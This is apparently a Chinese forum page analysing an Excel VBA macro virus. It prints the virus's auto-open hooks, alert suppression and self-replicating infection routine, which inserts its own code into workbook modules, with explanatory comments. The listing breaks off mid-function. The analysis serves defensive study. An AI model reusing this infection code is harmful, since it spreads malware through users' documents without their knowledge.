当前位置: 代码迷 >> VBA >> 一段宏病毒代码分析,一行想合理解决方案
  详细解决方案

一段宏病毒代码分析,一行想合理解决方案

热度:8546   发布时间:2013-02-26 00:00:00.0
一段宏病毒代码分析,一起想合理解决方案

'*****************************************************************
'本段代码在Excel打开时候就会运行代码 两个子过程都会运行
'*****************************************************************
Public WithEvents xx As Application
Private Sub Workbook_open() '打开excel即执行文件
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what '调用do_what方法
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook) '定义wb为workbook类型
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _ 'AddFromGuid 方法可搜寻注册表 来找寻要添加的引用。GUID 可以是类型库、控件、类标识符等。
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb '此处copystart为 ToDOLE模块定义的函数
Application.ScreenUpdating = True
End Sub
'*******************************************************************************************
Private Sub auto_open()
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
  Application.ScreenUpdating = False
  Call delete_this_wk
  Call copytoworkbook
  If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
  ThisWorkbook.Save
  Application.ScreenUpdating = True
End If
End Sub
'病毒的感染部分代码
Private Sub copytoworkbook()
  Const DQUOTE = """"
  With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "Application.DisplayAlerts = False"
.InsertLines 6, "Call do_what"
.InsertLines 7, "End Sub"
.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 9, "On Error Resume Next"
.InsertLines 10, "wb.VBProject.References.AddFromGuid _"
.InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 12, "Major:=5, Minor:=3"
.InsertLines 13, "Application.ScreenUpdating = False"
.InsertLines 14, "Application.DisplayAlerts = False"
.InsertLines 15, "copystart wb"
.InsertLines 16, "Application.ScreenUpdating = True"
.InsertLines 17, "End Sub"

End With
End Sub

Private Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule

Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
    .DeleteLines 1, .CountOfLines
End With

End Sub
Function do_what()
If ThisWorkbook.Path <> Application.StartupPath Then
  RestoreAfterOpen '调用RestoreAfterOpen函数
  Call OpenDoor '调用OpenDoor
  相关解决方案